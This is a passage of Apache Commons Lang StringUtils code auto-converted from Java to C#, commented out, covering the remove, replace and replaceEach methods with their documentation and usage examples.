StringUtils.removeIgnoreCase(*, null) = * // /// StringUtils.removeIgnoreCase(*, "") = * // /// StringUtils.removeIgnoreCase("queued", "ue") = "qd" // /// StringUtils.removeIgnoreCase("queued", "zz") = "queued" // /// StringUtils.removeIgnoreCase("quEUed", "UE") = "qd" // /// StringUtils.removeIgnoreCase("queued", "zZ") = "queued" // /// </pre> // /// </summary> // /// <param name="str"> // /// the source String to search, may be null </param> // /// <param name="remove"> // /// the String to search for (case insensitive) and remove, may be // /// null </param> // /// <returns> the substring with the string removed if found, {@code null} if // /// null String input // /// @since 3.5 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String removeIgnoreCase(final String str, final String remove) // public static string removeIgnoreCase(string str, string remove) // { // if (isEmpty(str) || isEmpty(remove)) // { // return str; // } // return replaceIgnoreCase(str, remove, EMPTY, -1); // } // /// <summary> // /// <para>Removes all occurrences of a character from within the source string.</para> // /// // /// <para>A {@code null} source string will return {@code null}. // /// An empty ("") source string will return the empty string.</para> // /// // /// <pre> // /// StringUtils.remove(null, *) = null // /// StringUtils.remove("", *) = "" // /// StringUtils.remove("queued", 'u') = "qeed" // /// StringUtils.remove("queued", 'z') = "queued" // /// </pre> // /// </summary> // /// <param name="str"> the source String to search, may be null </param> // /// <param name="remove"> the char to search for and remove, may be null </param> // /// <returns> the substring with the char removed if found, // /// {@code null} if null String input // /// @since 2.1 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String remove(final String str, final char remove) // public static string remove(string str, char remove) // { // if (isEmpty(str) || str.IndexOf(remove) == INDEX_NOT_FOUND) // { // return str; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final char[] chars = str.toCharArray(); // char[] chars = str.ToCharArray(); // int pos = 0; // for (int i = 0; i < chars.Length; i++) // { // if (chars[i] != remove) // { // chars[pos++] = chars[i]; // } // } // return new string(chars, 0, pos); // } // /// <summary> // /// <para>Removes each substring of the text String that matches the given regular expression.</para> // /// // /// This method is a {@code null} safe equivalent to: // /// <ul> // /// <li>{@code text.replaceAll(regex, StringUtils.EMPTY)}</li> // /// <li>{@code Pattern.compile(regex).matcher(text).replaceAll(StringUtils.EMPTY)}</li> // /// </ul> // /// // /// <para>A {@code null} reference passed to this method is a no-op.</para> // /// // /// <para>Unlike in the <seealso cref="#removePattern(String, String)"/> method, the <seealso cref="Pattern#DOTALL"/> option // /// is NOT automatically added. // /// To use the DOTALL option prepend <code>"(?s)"</code> to the regex. // /// DOTALL is also know as single-line mode in Perl.</para> // /// // /// <pre> // /// StringUtils.removeAll(null, *) = null // /// StringUtils.removeAll("any", null) = "any" // /// StringUtils.removeAll("any", "") = "any" // /// StringUtils.removeAll("any", ".*") = "" // /// StringUtils.removeAll("any", ".+") = "" // /// StringUtils.removeAll("abc", ".?") = "" // /// StringUtils.removeAll("A&lt;__&gt;\n&lt;__&gt;B", "&lt;.*&gt;") = "A\nB" // /// StringUtils.removeAll("A&lt;__&gt;\n&lt;__&gt;B", "(?s)&lt;.*&gt;") = "AB" // /// StringUtils.removeAll("ABCabc123abc", "[a-z]") = "ABC123" // /// </pre> // /// </summary> // /// <param name="text"> text to remove from, may be null </param> // /// <param name="regex"> the regular expression to which this string is to be matched </param> // /// <returns> the text with any removes processed, // /// {@code null} if null String input // /// </returns> // /// <exception cref="java.util.regex.PatternSyntaxException"> // /// if the regular expression's syntax is invalid // /// </exception> // /// <seealso cref= #replaceAll(String, String, String) </seealso> // /// <seealso cref= #removePattern(String, String) </seealso> // /// <seealso cref= String#replaceAll(String, String) </seealso> // /// <seealso cref= java.util.regex.Pattern </seealso> // /// <seealso cref= java.util.regex.Pattern#DOTALL // /// @since 3.5 </seealso> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String removeAll(final String text, final String regex) // public static string removeAll(string text, string regex) // { // return replaceAll(text, regex, StringUtils.EMPTY); // } // /// <summary> // /// <para>Removes the first substring of the text string that matches the given regular expression.</para> // /// // /// This method is a {@code null} safe equivalent to: // /// <ul> // /// <li>{@code text.replaceFirst(regex, StringUtils.EMPTY)}</li> // /// <li>{@code Pattern.compile(regex).matcher(text).replaceFirst(StringUtils.EMPTY)}</li> // /// </ul> // /// // /// <para>A {@code null} reference passed to this method is a no-op.</para> // /// // /// <para>The <seealso cref="Pattern#DOTALL"/> option is NOT automatically added. // /// To use the DOTALL option prepend <code>"(?s)"</code> to the regex. // /// DOTALL is also know as single-line mode in Perl.</para> // /// // /// <pre> // /// StringUtils.removeFirst(null, *) = null // /// StringUtils.removeFirst("any", null) = "any" // /// StringUtils.removeFirst("any", "") = "any" // /// StringUtils.removeFirst("any", ".*") = "" // /// StringUtils.removeFirst("any", ".+") = "" // /// StringUtils.removeFirst("abc", ".?") = "bc" // /// StringUtils.removeFirst("A&lt;__&gt;\n&lt;__&gt;B", "&lt;.*&gt;") = "A\n&lt;__&gt;B" // /// StringUtils.removeFirst("A&lt;__&gt;\n&lt;__&gt;B", "(?s)&lt;.*&gt;") = "AB" // /// StringUtils.removeFirst("ABCabc123", "[a-z]") = "ABCbc123" // /// StringUtils.removeFirst("ABCabc123abc", "[a-z]+") = "ABC123abc" // /// </pre> // /// </summary> // /// <param name="text"> text to remove from, may be null </param> // /// <param name="regex"> the regular expression to which this string is to be matched </param> // /// <returns> the text with the first replacement processed, // /// {@code null} if null String input // /// </returns> // /// <exception cref="java.util.regex.PatternSyntaxException"> // /// if the regular expression's syntax is invalid // /// </exception> // /// <seealso cref= #replaceFirst(String, String, String) </seealso> // /// <seealso cref= String#replaceFirst(String, String) </seealso> // /// <seealso cref= java.util.regex.Pattern </seealso> // /// <seealso cref= java.util.regex.Pattern#DOTALL // /// @since 3.5 </seealso> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String removeFirst(final String text, final String regex) // public static string removeFirst(string text, string regex) // { // return replaceFirst(text, regex, StringUtils.EMPTY); // } // // Replacing // //----------------------------------------------------------------------- // /// <summary> // /// <para>Replaces a String with another String inside a larger String, once.</para> // /// // /// <para>A {@code null} reference passed to this method is a no-op.</para> // /// // /// <pre> // /// StringUtils.replaceOnce(null, *, *) = null // /// StringUtils.replaceOnce("", *, *) = "" // /// StringUtils.replaceOnce("any", null, *) = "any" // /// StringUtils.replaceOnce("any", *, null) = "any" // /// StringUtils.replaceOnce("any", "", *) = "any" // /// StringUtils.replaceOnce("aba", "a", null) = "aba" // /// StringUtils.replaceOnce("aba", "a", "") = "ba" // /// StringUtils.replaceOnce("aba", "a", "z") = "zba" // /// </pre> // /// </summary> // /// <seealso cref= #replace(String text, String searchString, String replacement, int max) </seealso> // /// <param name="text"> text to search and replace in, may be null </param> // /// <param name="searchString"> the String to search for, may be null </param> // /// <param name="replacement"> the String to replace with, may be null </param> // /// <returns> the text with any replacements processed, // /// {@code null} if null String input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String replaceOnce(final String text, final String searchString, final String replacement) // public static string replaceOnce(string text, string searchString, string replacement) // { // return replace(text, searchString, replacement, 1); // } // /// <summary> // /// <para>Case insensitively replaces a String with another String inside a larger String, once.</para> // /// // /// <para>A {@code null} reference passed to this method is a no-op.</para> // /// // /// <pre> // /// StringUtils.replaceOnceIgnoreCase(null, *, *) = null // /// StringUtils.replaceOnceIgnoreCase("", *, *) = "" // /// StringUtils.replaceOnceIgnoreCase("any", null, *) = "any" // /// StringUtils.replaceOnceIgnoreCase("any", *, null) = "any" // /// StringUtils.replaceOnceIgnoreCase("any", "", *) = "any" // /// StringUtils.replaceOnceIgnoreCase("aba", "a", null) = "aba" // /// StringUtils.replaceOnceIgnoreCase("aba", "a", "") = "ba" // /// StringUtils.replaceOnceIgnoreCase("aba", "a", "z") = "zba" // /// StringUtils.replaceOnceIgnoreCase("FoOFoofoo", "foo", "") = "Foofoo" // /// </pre> // /// </summary> // /// <seealso cref= #replaceIgnoreCase(String text, String searchString, String replacement, int max) </seealso> // /// <param name="text"> text to search and replace in, may be null </param> // /// <param name="searchString"> the String to search for (case insensitive), may be null </param> // /// <param name="replacement"> the String to replace with, may be null </param> // /// <returns> the text with any replacements processed, // /// {@code null} if null String input // /// @since 3.5 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String replaceOnceIgnoreCase(final String text, final String searchString, final String replacement) // public static string replaceOnceIgnoreCase(string text, string searchString, string replacement) // { // return replaceIgnoreCase(text, searchString, replacement, 1); // } // /// <summary> // /// <para>Replaces each substring of the source String that matches the given regular expression with the given // /// replacement using the <seealso cref="Pattern#DOTALL"/> option. DOTALL is also know as single-line mode in Perl.</para> // /// // /// This call is a {@code null} safe equivalent to: // /// <ul> // /// <li>{@code source.replaceAll(&quot;(?s)&quot; + regex, replacement)}</li> // /// <li>{@code Pattern.compile(regex, Pattern.DOTALL).matcher(source).replaceAll(replacement)}</li> // /// </ul> // /// // /// <para>A {@code null} reference passed to this method is a no-op.</para> // /// // /// <pre> // /// StringUtils.replacePattern(null, *, *) = null // /// StringUtils.replacePattern("any", null, *) = "any" // /// StringUtils.replacePattern("any", *, null) = "any" // /// StringUtils.replacePattern("", "", "zzz") = "zzz" // /// StringUtils.replacePattern("", ".*", "zzz") = "zzz" // /// StringUtils.replacePattern("", ".+", "zzz") = "" // /// StringUtils.replacePattern("&lt;__&gt;\n&lt;__&gt;", "&lt;.*&gt;", "z") = "z" // /// StringUtils.replacePattern("ABCabc123", "[a-z]", "_") = "ABC___123" // /// StringUtils.replacePattern("ABCabc123", "[^A-Z0-9]+", "_") = "ABC_123" // /// StringUtils.replacePattern("ABCabc123", "[^A-Z0-9]+", "") = "ABC123" // /// StringUtils.replacePattern("Lorem ipsum dolor sit", "( +)([a-z]+)", "_$2") = "Lorem_ipsum_dolor_sit" // /// </pre> // /// </summary> // /// <param name="source"> // /// the source string </param> // /// <param name="regex"> // /// the regular expression to which this string is to be matched </param> // /// <param name="replacement"> // /// the string to be substituted for each match </param> // /// <returns> The resulting {@code String} </returns> // /// <seealso cref= #replaceAll(String, String, String) </seealso> // /// <seealso cref= String#replaceAll(String, String) </seealso> // /// <seealso cref= Pattern#DOTALL // /// @since 3.2 // /// @since 3.5 Changed {@code null} reference passed to this method is a no-op. </seealso> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String replacePattern(final String source, final String regex, final String replacement) // public static string replacePattern(string source, string regex, string replacement) // { // if (string.ReferenceEquals(source, null) || string.ReferenceEquals(regex, null) || string.ReferenceEquals(replacement, null)) // { // return source; // } // return Pattern.compile(regex, Pattern.DOTALL).matcher(source).replaceAll(replacement); // } // /// <summary> // /// <para>Removes each substring of the source String that matches the given regular expression using the DOTALL option. // /// </para> // /// // /// This call is a {@code null} safe equivalent to: // /// <ul> // /// <li>{@code source.replaceAll(&quot;(?s)&quot; + regex, StringUtils.EMPTY)}</li> // /// <li>{@code Pattern.compile(regex, Pattern.DOTALL).matcher(source).replaceAll(StringUtils.EMPTY)}</li> // /// </ul> // /// // /// <para>A {@code null} reference passed to this method is a no-op.</para> // /// // /// <pre> // /// StringUtils.removePattern(null, *) = null // /// StringUtils.removePattern("any", null) = "any" // /// StringUtils.removePattern("A&lt;__&gt;\n&lt;__&gt;B", "&lt;.*&gt;") = "AB" // /// StringUtils.removePattern("ABCabc123", "[a-z]") = "ABC123" // /// </pre> // /// </summary> // /// <param name="source"> // /// the source string </param> // /// <param name="regex"> // /// the regular expression to which this string is to be matched </param> // /// <returns> The resulting {@code String} </returns> // /// <seealso cref= #replacePattern(String, String, String) </seealso> // /// <seealso cref= String#replaceAll(String, String) </seealso> // /// <seealso cref= Pattern#DOTALL // /// @since 3.2 // /// @since 3.5 Changed {@code null} reference passed to this method is a no-op. </seealso> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String removePattern(final String source, final String regex) // public static string removePattern(string source, string regex) // { // return replacePattern(source, regex, StringUtils.EMPTY); // } // /// <summary> // /// <para>Replaces each substring of the text String that matches the given regular expression // /// with the given replacement.</para> // /// // /// This method is a {@code null} safe equivalent to: // /// <ul> // /// <li>{@code text.replaceAll(regex, replacement)}</li> // /// <li>{@code Pattern.compile(regex).matcher(text).replaceAll(replacement)}</li> // /// </ul> // /// // /// <para>A {@code null} reference passed to this method is a no-op.</para> // /// // /// <para>Unlike in the <seealso cref="#replacePattern(String, String, String)"/> method, the <seealso cref="Pattern#DOTALL"/> option // /// is NOT automatically added. // /// To use the DOTALL option prepend <code>"(?s)"</code> to the regex. // /// DOTALL is also know as single-line mode in Perl.</para> // /// // /// <pre> // /// StringUtils.replaceAll(null, *, *) = null // /// StringUtils.replaceAll("any", null, *) = "any" // /// StringUtils.replaceAll("any", *, null) = "any" // /// StringUtils.replaceAll("", "", "zzz") = "zzz" // /// StringUtils.replaceAll("", ".*", "zzz") = "zzz" // /// StringUtils.replaceAll("", ".+", "zzz") = "" // /// StringUtils.replaceAll("abc", "", "ZZ") = "ZZaZZbZZcZZ" // /// StringUtils.replaceAll("&lt;__&gt;\n&lt;__&gt;", "&lt;.*&gt;", "z") = "z\nz" // /// StringUtils.replaceAll("&lt;__&gt;\n&lt;__&gt;", "(?s)&lt;.*&gt;", "z") = "z" // /// StringUtils.replaceAll("ABCabc123", "[a-z]", "_") = "ABC___123" // /// StringUtils.replaceAll("ABCabc123", "[^A-Z0-9]+", "_") = "ABC_123" // /// StringUtils.replaceAll("ABCabc123", "[^A-Z0-9]+", "") = "ABC123" // /// StringUtils.replaceAll("Lorem ipsum dolor sit", "( +)([a-z]+)", "_$2") = "Lorem_ipsum_dolor_sit" // /// </pre> // /// </summary> // /// <param name="text"> text to search and replace in, may be null </param> // /// <param name="regex"> the regular expression to which this string is to be matched </param> // /// <param name="replacement"> the string to be substituted for each match </param> // /// <returns> the text with any replacements processed, // /// {@code null} if null String input // /// </returns> // /// <exception cref="java.util.regex.PatternSyntaxException"> // /// if the regular expression's syntax is invalid // /// </exception> // /// <seealso cref= #replacePattern(String, String, String) </seealso> // /// <seealso cref= String#replaceAll(String, String) </seealso> // /// <seealso cref= java.util.regex.Pattern </seealso> // /// <seealso cref= java.util.regex.Pattern#DOTALL // /// @since 3.5 </seealso> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String replaceAll(final String text, final String regex, final String replacement) // public static string replaceAll(string text, string regex, string replacement) // { // if (string.ReferenceEquals(text, null) || string.ReferenceEquals(regex, null) || string.ReferenceEquals(replacement, null)) // { // return text; // } // return text.replaceAll(regex, replacement); // } // /// <summary> // /// <para>Replaces the first substring of the text string that matches the given regular expression // /// with the given replacement.</para> // /// // /// This method is a {@code null} safe equivalent to: // /// <ul> // /// <li>{@code text.replaceFirst(regex, replacement)}</li> // /// <li>{@code Pattern.compile(regex).matcher(text).replaceFirst(replacement)}</li> // /// </ul> // /// // /// <para>A {@code null} reference passed to this method is a no-op.</para> // /// // /// <para>The <seealso cref="Pattern#DOTALL"/> option is NOT automatically added. // /// To use the DOTALL option prepend <code>"(?s)"</code> to the regex. // /// DOTALL is also know as single-line mode in Perl.</para> // /// // /// <pre> // /// StringUtils.replaceFirst(null, *, *) = null // /// StringUtils.replaceFirst("any", null, *) = "any" // /// StringUtils.replaceFirst("any", *, null) = "any" // /// StringUtils.replaceFirst("", "", "zzz") = "zzz" // /// StringUtils.replaceFirst("", ".*", "zzz") = "zzz" // /// StringUtils.replaceFirst("", ".+", "zzz") = "" // /// StringUtils.replaceFirst("abc", "", "ZZ") = "ZZabc" // /// StringUtils.replaceFirst("&lt;__&gt;\n&lt;__&gt;", "&lt;.*&gt;", "z") = "z\n&lt;__&gt;" // /// StringUtils.replaceFirst("&lt;__&gt;\n&lt;__&gt;", "(?s)&lt;.*&gt;", "z") = "z" // /// StringUtils.replaceFirst("ABCabc123", "[a-z]", "_") = "ABC_bc123" // /// StringUtils.replaceFirst("ABCabc123abc", "[^A-Z0-9]+", "_") = "ABC_123abc" // /// StringUtils.replaceFirst("ABCabc123abc", "[^A-Z0-9]+", "") = "ABC123abc" // /// StringUtils.replaceFirst("Lorem ipsum dolor sit", "( +)([a-z]+)", "_$2") = "Lorem_ipsum dolor sit" // /// </pre> // /// </summary> // /// <param name="text"> text to search and replace in, may be null </param> // /// <param name="regex"> the regular expression to which this string is to be matched </param> // /// <param name="replacement"> the string to be substituted for the first match </param> // /// <returns> the text with the first replacement processed, // /// {@code null} if null String input // /// </returns> // /// <exception cref="java.util.regex.PatternSyntaxException"> // /// if the regular expression's syntax is invalid // /// </exception> // /// <seealso cref= String#replaceFirst(String, String) </seealso> // /// <seealso cref= java.util.regex.Pattern </seealso> // /// <seealso cref= java.util.regex.Pattern#DOTALL // /// @since 3.5 </seealso> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String replaceFirst(final String text, final String regex, final String replacement) // public static string replaceFirst(string text, string regex, string replacement) // { // if (string.ReferenceEquals(text, null) || string.ReferenceEquals(regex, null) || string.ReferenceEquals(replacement, null)) // { // return text; // } // return text.replaceFirst(regex, replacement); // } // /// <summary> // /// <para>Replaces all occurrences of a String within another String.</para> // /// // /// <para>A {@code null} reference passed to this method is a no-op.</para> // /// // /// <pre> // /// StringUtils.replace(null, *, *) = null // /// StringUtils.replace("", *, *) = "" // /// StringUtils.replace("any", null, *) = "any" // /// StringUtils.replace("any", *, null) = "any" // /// StringUtils.replace("any", "", *) = "any" // /// StringUtils.replace("aba", "a", null) = "aba" // /// StringUtils.replace("aba", "a", "") = "b" // /// StringUtils.replace("aba", "a", "z") = "zbz" // /// </pre> // /// </summary> // /// <seealso cref= #replace(String text, String searchString, String replacement, int max) </seealso> // /// <param name="text"> text to search and replace in, may be null </param> // /// <param name="searchString"> the String to search for, may be null </param> // /// <param name="replacement"> the String to replace it with, may be null </param> // /// <returns> the text with any replacements processed, // /// {@code null} if null String input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String replace(final String text, final String searchString, final String replacement) // public static string replace(string text, string searchString, string replacement) // { // return replace(text, searchString, replacement, -1); // } // /// <summary> // /// <para>Case insensitively replaces all occurrences of a String within another String.</para> // /// // /// <para>A {@code null} reference passed to this method is a no-op.</para> // /// // /// <pre> // /// StringUtils.replaceIgnoreCase(null, *, *) = null // /// StringUtils.replaceIgnoreCase("", *, *) = "" // /// StringUtils.replaceIgnoreCase("any", null, *) = "any" // /// StringUtils.replaceIgnoreCase("any", *, null) = "any" // /// StringUtils.replaceIgnoreCase("any", "", *) = "any" // /// StringUtils.replaceIgnoreCase("aba", "a", null) = "aba" // /// StringUtils.replaceIgnoreCase("abA", "A", "") = "b" // /// StringUtils.replaceIgnoreCase("aba", "A", "z") = "zbz" // /// </pre> // /// </summary> // /// <seealso cref= #replaceIgnoreCase(String text, String searchString, String replacement, int max) </seealso> // /// <param name="text"> text to search and replace in, may be null </param> // /// <param name="searchString"> the String to search for (case insensitive), may be null </param> // /// <param name="replacement"> the String to replace it with, may be null </param> // /// <returns> the text with any replacements processed, // /// {@code null} if null String input // /// @since 3.5 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String replaceIgnoreCase(final String text, final String searchString, final String replacement) // public static string replaceIgnoreCase(string text, string searchString, string replacement) // { // return replaceIgnoreCase(text, searchString, replacement, -1); // } // /// <summary> // /// <para>Replaces a String with another String inside a larger String, // /// for the first {@code max} values of the search String.</para> // /// // /// <para>A {@code null} reference passed to this method is a no-op.</para> // /// // /// <pre> // /// StringUtils.replace(null, *, *, *) = null // /// StringUtils.replace("", *, *, *) = "" // /// StringUtils.replace("any", null, *, *) = "any" // /// StringUtils.replace("any", *, null, *) = "any" // /// StringUtils.replace("any", "", *, *) = "any" // /// StringUtils.replace("any", *, *, 0) = "any" // /// StringUtils.replace("abaa", "a", null, -1) = "abaa" // /// StringUtils.replace("abaa", "a", "", -1) = "b" // /// StringUtils.replace("abaa", "a", "z", 0) = "abaa" // /// StringUtils.replace("abaa", "a", "z", 1) = "zbaa" // /// StringUtils.replace("abaa", "a", "z", 2) = "zbza" // /// StringUtils.replace("abaa", "a", "z", -1) = "zbzz" // /// </pre> // /// </summary> // /// <param name="text"> text to search and replace in, may be null </param> // /// <param name="searchString"> the String to search for, may be null </param> // /// <param name="replacement"> the String to replace it with, may be null </param> // /// <param name="max"> maximum number of values to replace, or {@code -1} if no maximum </param> // /// <returns> the text with any replacements processed, // /// {@code null} if null String input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String replace(final String text, final String searchString, final String replacement, final int max) // public static string replace(string text, string searchString, string replacement, int max) // { // return replace(text, searchString, replacement, max, false); // } // /// <summary> // /// <para>Replaces a String with another String inside a larger String, // /// for the first {@code max} values of the search String, // /// case sensitively/insensisitively based on {@code ignoreCase} value.</para> // /// // /// <para>A {@code null} reference passed to this method is a no-op.</para> // /// // /// <pre> // /// StringUtils.replace(null, *, *, *, false) = null // /// StringUtils.replace("", *, *, *, false) = "" // /// StringUtils.replace("any", null, *, *, false) = "any" // /// StringUtils.replace("any", *, null, *, false) = "any" // /// StringUtils.replace("any", "", *, *, false) = "any" // /// StringUtils.replace("any", *, *, 0, false) = "any" // /// StringUtils.replace("abaa", "a", null, -1, false) = "abaa" // /// StringUtils.replace("abaa", "a", "", -1, false) = "b" // /// StringUtils.replace("abaa", "a", "z", 0, false) = "abaa" // /// StringUtils.replace("abaa", "A", "z", 1, false) = "abaa" // /// StringUtils.replace("abaa", "A", "z", 1, true) = "zbaa" // /// StringUtils.replace("abAa", "a", "z", 2, true) = "zbza" // /// StringUtils.replace("abAa", "a", "z", -1, true) = "zbzz" // /// </pre> // /// </summary> // /// <param name="text"> text to search and replace in, may be null </param> // /// <param name="searchString"> the String to search for (case insensitive), may be null </param> // /// <param name="replacement"> the String to replace it with, may be null </param> // /// <param name="max"> maximum number of values to replace, or {@code -1} if no maximum </param> // /// <param name="ignoreCase"> if true replace is case insensitive, otherwise case sensitive </param> // /// <returns> the text with any replacements processed, // /// {@code null} if null String input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: private static String replace(final String text, String searchString, final String replacement, int max, final boolean ignoreCase) // private static string replace(string text, string searchString, string replacement, int max, bool ignoreCase) // { // if (isEmpty(text) || isEmpty(searchString) || string.ReferenceEquals(replacement, null) || max == 0) // { // return text; // } // string searchText = text; // if (ignoreCase) // { // searchText = text.ToLower(); // searchString = searchString.ToLower(); // } // int start = 0; // int end = searchText.IndexOf(searchString, start, StringComparison.Ordinal); // if (end == INDEX_NOT_FOUND) // { // return text; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int replLength = searchString.length(); // int replLength = searchString.Length; // int increase = replacement.Length - replLength; // increase = increase < 0 ? 0 : increase; // increase *= max < 0 ? 16 : max > 64 ? 64 : max; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final StringBuilder buf = new StringBuilder(text.length() + increase); // StringBuilder buf = new StringBuilder(text.Length + increase); // while (end != INDEX_NOT_FOUND) // { // buf.Append(text.Substring(start, end - start)).Append(replacement); // start = end + replLength; // if (--max == 0) // { // break; // } // end = searchText.IndexOf(searchString, start, StringComparison.Ordinal); // } // buf.Append(text.Substring(start)); // return buf.ToString(); // } // /// <summary> // /// <para>Case insensitively replaces a String with another String inside a larger String, // /// for the first {@code max} values of the search String.</para> // /// // /// <para>A {@code null} reference passed to this method is a no-op.</para> // /// // /// <pre> // /// StringUtils.replaceIgnoreCase(null, *, *, *) = null // /// StringUtils.replaceIgnoreCase("", *, *, *) = "" // /// StringUtils.replaceIgnoreCase("any", null, *, *) = "any" // /// StringUtils.replaceIgnoreCase("any", *, null, *) = "any" // /// StringUtils.replaceIgnoreCase("any", "", *, *) = "any" // /// StringUtils.replaceIgnoreCase("any", *, *, 0) = "any" // /// StringUtils.replaceIgnoreCase("abaa", "a", null, -1) = "abaa" // /// StringUtils.replaceIgnoreCase("abaa", "a", "", -1) = "b" // /// StringUtils.replaceIgnoreCase("abaa", "a", "z", 0) = "abaa" // /// StringUtils.replaceIgnoreCase("abaa", "A", "z", 1) = "zbaa" // /// StringUtils.replaceIgnoreCase("abAa", "a", "z", 2) = "zbza" // /// StringUtils.replaceIgnoreCase("abAa", "a", "z", -1) = "zbzz" // /// </pre> // /// </summary> // /// <param name="text"> text to search and replace in, may be null </param> // /// <param name="searchString"> the String to search for (case insensitive), may be null </param> // /// <param name="replacement"> the String to replace it with, may be null </param> // /// <param name="max"> maximum number of values to replace, or {@code -1} if no maximum </param> // /// <returns> the text with any replacements processed, // /// {@code null} if null String input // /// @since 3.5 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String replaceIgnoreCase(final String text, final String searchString, final String replacement, final int max) // public static string replaceIgnoreCase(string text, string searchString, string replacement, int max) // { // return replace(text, searchString, replacement, max, true); // } // /// <summary> // /// <para> // /// Replaces all occurrences of Strings within another String. // /// </para> // /// // /// <para> // /// A {@code null} reference passed to this method is a no-op, or if // /// any "search string" or "string to replace" is null, that replace will be // /// ignored. This will not repeat. For repeating replaces, call the // /// overloaded method. // /// </para> // /// // /// <pre> // /// StringUtils.replaceEach(null, *, *) = null // /// StringUtils.replaceEach("", *, *) = "" // /// StringUtils.replaceEach("aba", null, null) = "aba" // /// StringUtils.replaceEach("aba", new String[0], null) = "aba" // /// StringUtils.replaceEach("aba", null, new String[0]) = "aba" // /// StringUtils.replaceEach("aba", new String[]{"a"}, null) = "aba" // /// StringUtils.replaceEach("aba", new String[]{"a"}, new String[]{""}) = "b" // /// StringUtils.replaceEach("aba", new String[]{null}, new String[]{"a"}) = "aba" // /// StringUtils.replaceEach("abcde", new String[]{"ab", "d"}, new String[]{"w", "t"}) = "wcte" // /// (example of how it does not repeat) // /// StringUtils.replaceEach("abcde", new String[]{"ab", "d"}, new String[]{"d", "t"}) = "dcte" // /// </pre> // /// </summary> // /// <param name="text"> // /// text to search and replace in, no-op if null </param> // /// <param name="searchList"> // /// the Strings to search for, no-op if null </param> // /// <param name="replacementList"> // /// the Strings to replace them with, no-op if null </param> // /// <returns> the text with any replacements processed, {@code null} if // /// null String input </returns> // /// <exception cref="IllegalArgumentException"> // /// if the lengths of the arrays are not the same (null is ok, // /// and/or size 0) // /// @since 2.4 </exception> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String replaceEach(final String text, final String[] searchList, final String[] replacementList) // public static string replaceEach(string text, string[] searchList, string[] replacementList) // { // return replaceEach(text, searchList, replacementList, false, 0); // } // /// <summary> // /// <para> // /// Replaces all occurrences of Strings within another String. // /// </para> // /// // /// <para> // /// A {@code null} reference passed to this method is a no-op, or if // /// any "search string" or "string to replace" is null, that replace will be // /// ignored. // /// </para> // /// // /// <pre> // /// StringUtils.replaceEachRepeatedly(null, *, *) = null // /// StringUtils.replaceEachRepeatedly("", *, *) = "" // /// StringUtils.replaceEachRepeatedly("aba", null, null) = "aba" // /// StringUtils.replaceEachRepeatedly("aba", new String[0], null) = "aba" // /// StringUtils.replaceEachRepeatedly("aba", null, new String[0]) = "aba" // /// StringUtils.replaceEachRepeatedly("aba", new String[]{"a"}, null) = "aba" // /// StringUtils.replaceEachRepeatedly("aba", new String[]{"a"}, new String[]{""}) = "b" // /// StringUtils.replaceEachRepeatedly("aba", new String[]{null}, new String[]{"a"}) = "aba" // /// StringUtils.replaceEachRepeatedly("abcde", new String[]{"ab", "d"}, new String[]{"w", "t"}) = "wcte" // /// (example of how it repeats) // /// StringUtils.replaceEachRepeatedly("abcde", new String[]{"ab", "d"}, new String[]{"d", "t"}) = "tcte" // /// StringUtils.replaceEachRepeatedly("abcde", new String[]{"ab", "d"}, new String[]{"d", "ab"}) = IllegalStateException // /// </pre> // /// </summary> // /// <param name="text"> // /// text to search and replace in, no-op if null </param> // /// <param name="searchList"> // /// the Strings to search for, no-op if null </param> // /// <param name="replacementList"> // /// the Strings to replace them with, no-op if null </param> // /// <returns> the text with any replacements processed, {@code null} if // /// null String input </returns> // /// <exception cref="IllegalStateException"> // /// if the search is repeating and there is an endless loop due // /// to outputs of one being inputs to another </exception> // /// <exception cref="IllegalArgumentException"> // /// if the lengths of the arrays are not the same (null is ok, // /// and/or size 0) // /// @since 2.4 </exception> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String replaceEachRepeatedly(final String text, final String[] searchList, final String[] replacementList) // public static string replaceEachRepeatedly(string text, string[] searchList, string[] replacementList) // { // // timeToLive should be 0 if not used or nothing to replace, else it's // // the length of the replace array // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int timeToLive = searchList == null ? 0 : searchList.length; // int timeToLive = searchList == null ? 0 : searchList.Length; // return replaceEach(text, searchList, replacementList, true, timeToLive); // } // /// <summary> // /// <para> // /// Replace all occurrences of Strings within another String. // /// This is a private recursive helper method for <seealso cref="#replaceEachRepeatedly(String, String[], String[])"/> and // /// <seealso cref="#replaceEach(String, String[], String[])"/> // /// </para> // /// // /// <para> // /// A {@code null} reference passed to this method is a no-op, or if // /// any "search string" or "string to replace" is null, that replace will be // /// ignored. // /// </para> // /// // /// <pre> // /// 